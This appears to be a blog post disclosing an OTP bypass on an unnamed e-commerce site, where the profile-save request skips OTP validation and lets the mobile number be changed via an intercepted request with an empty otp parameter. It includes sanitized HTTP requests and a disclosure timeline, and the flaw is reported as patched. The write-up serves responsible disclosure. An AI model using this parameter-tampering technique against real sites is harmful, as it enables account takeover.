How I bypassed OTP mechanism used for updating Sensitive Information

I found this vulnerability in a ecommerce site, the site has a responsible disclosure program

So the vulnerability was in profile updation page, there was a form by which a user can update his/her details, the details also includes Mobile Number, when a user tried to update any other detail it was updated normally but when user click on Edit button at Mobile Number field, OTP is sent to the registered email, and a popup occurs asking for the OTP, after entering OTP the number field can be enabled and updated

OTP Validation Request

POST /customer/otp-val HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 85
Connection: close
Cookie: --COOKIES--

otp=123456&type=profile_update_otp&formId=myAccountVerifyOTPForm&mobile_no=NUMBERHERE

Data Updation Request

POST /customer/account HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 222
Connection: close
Cookie: --COOKIES--
Upgrade-Insecure-Requests: 1

csrf_token=--CSRFTOKEN--&save_profile=Save+Changes&otp=123456&fname=Test&lname=Test&mobile=NUMBERHERE

Where is the problem in this flow

There is two different requests one is validating the OTP, and enabling the number field, and another is when actually after updating the number a request is sent with Save button to save the number on the server

There is otp parameter in both the requests but the application is completely dependent on the first request, and in the second request the otp parameter is not validated

Exploitation

As mentioned earlier that if user try to update any other field the data updation request is sent which also contains Mobile Number

So I clicked on edit Name and intercepted the request with burp suite, changed the mobile parameter with whatever number and send the request

Malicious Requests //Empty otp parameter

POST /customer/account HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 222
Connection: close
Cookie: --COOKIES--
Upgrade-Insecure-Requests: 1

csrf_token=--CSRFTOKEN--&save_profile=Save+Changes&otp=&fname=Test&lname=Test&mobile=NUMBERHERE

The Mobile number is updated without any validation

The vulneraility is now patched

Time Frame

Intial Report: 27-May-2020

First Response: 27-May-2020

Patch Released: 2-June-2020

Written on June 2, 2020 by Vaibhav Joshi